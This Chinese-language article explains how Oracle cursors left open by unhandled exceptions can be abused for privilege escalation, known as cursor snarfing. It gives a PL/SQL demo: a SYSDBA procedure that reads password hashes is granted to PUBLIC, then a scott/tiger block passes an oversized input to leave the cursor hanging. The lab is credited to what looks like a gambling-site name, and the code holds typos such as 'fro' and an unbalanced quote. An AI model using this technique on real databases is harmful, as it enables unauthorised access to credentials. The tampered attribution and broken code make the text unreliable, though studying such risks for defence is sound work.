数据库游标概念的引入,使数据库操作更加灵活,但同时也为黑客入侵提供了便利。918搏天堂数据库安全攻防实验室(DBSec Labs)以Oracle游标为主要分析对象,基于其应用原理剖析游标可能带来的数据库安全隐患及安全措施,希望帮助用户提前部署防护手段。
我们将Oracle游标的安全问题分为三类:
1、缺乏异常处理,挂起的游标被恶意利用
2、oracle游标漏洞提权
3、oracle游标设计本身的安全隐患
本文先对第一种安全威胁进行说明:
游标将数据库中相应的信息存入内存块中,当用户打开游标的时候,可以直接访问游标指向的内存块中存放的信息,而无需再访问基表获得数据。如果一个高权限用户建立一个游标却没关闭该游标,低权限用户就有可能获得游标中存储的关键信息,或向打开的游标中注入恶意语句,进行高权限运行,达到提权或越权访问的目的。这就是游标SNARF提权的基础。
游标不正常关闭基本是人为造成的,高权限用户忘记关闭,或者游标所在的子程序缺乏异常处理机制。如果没有做相应的异常处理,黑客很有可能制造异常,使游标被一直挂起,利用未关闭的游标,注入恶意代码。再利用游标自身的高权限执行恶意代码,进行越权或者非法提权操作。
下面试验用例由918搏天堂数据库安全实验室提供:
SQL> connect / as sysdba
已连接。
SQL> CREATE OR REPLACE PROCEDURE schina_test(P_USER VARCHAR) IS
2 CURSOR_NAME INTEGER;
3 PASSWORD VARCHAR2(30);
4 I INTEGER;
5 BEGIN
6 CURSOR_NAME := DBMS_SQL.OPEN_CURSOR;
7 DBMS_OUTPUT.PUT_LINE('CURSOR:'||CURSOR_NAME);
8 DBMS_SQL.PARSE(CURSOR_NAME,'SELECT PASSWORD FROM
9 SYS.DBA_USERS WHERE USERNAME=:schina',dbms_sql.native);
10 DBMS_SQL.BIND_VARIABLE(CURSOR_NAME,:schina',P_USER);
11 DBMS_SQL.DEFINE_COLUMN(CURSOR_NAME,1,PASSWORD,30);
12 I:=DBMS_SQL.EXECUTE(CURSOR_NAME);
13 IF PASSWORD = '01234567890ABCDEF' THEN
14 DBMS_OUTPUT.PUT_LINE('YOUR PASSWORD HASH IS NOT OK');
15 ELSE
16 DBMS_OUTPUT.PUT_LINE('YOUR PASSWORD HASH IS OK');
17 END IF;
18 DBMS_SQL.CLOSE_CURSOR(CURSOR_NAME);
19 END;
20 /
至此PL/SQL 过程已成功完成。
SQL> grant execute on schina_test to public;
授权成功。
schina_test 是一个缺乏异常处理代码的存储过程,它的作用是对为用户找到其密码hash值,然后和固定HASH值进行比较并返回结果。open_cursor打开游标直到close_cursor或SQL会话终止游标退出。由于缺乏异常代码机制,用任意低权限账号执行这个存储过程,可以触发异常挂起游标。
SQL> connect scott/tiger
已连接。
SQL> set serveroutput on
SQL> declare
2 x varchar(40000);
3 i integer;
4 begin
5 fro i in 1..10000 loop
6 x:='b'||x;
7 end loop;
8 sys. schina_test (x);
9 end;
10 /
CURSOR 3241423
通过向p_user中输入一个过长的x,系统返回ORA-01460错误。由于存储过程schina_test中没有对异常进行处理,虽然存储过程中关闭游标了,但由于发生异常,导致游标被挂起,同时并未真正关闭。可以对未关闭的游标注入恶意语句,以达到所需要的效果。
恶意代码注入是三大数据库安全问题之一,也是攻击者常用的技术手段,通过对Oracle游标带来的安全隐患分析,能够让用户在预知风险的情况下提前部署相应的防护措施,如数据库防火墙,可以对此类注入攻击进行实时的拦截和阻断。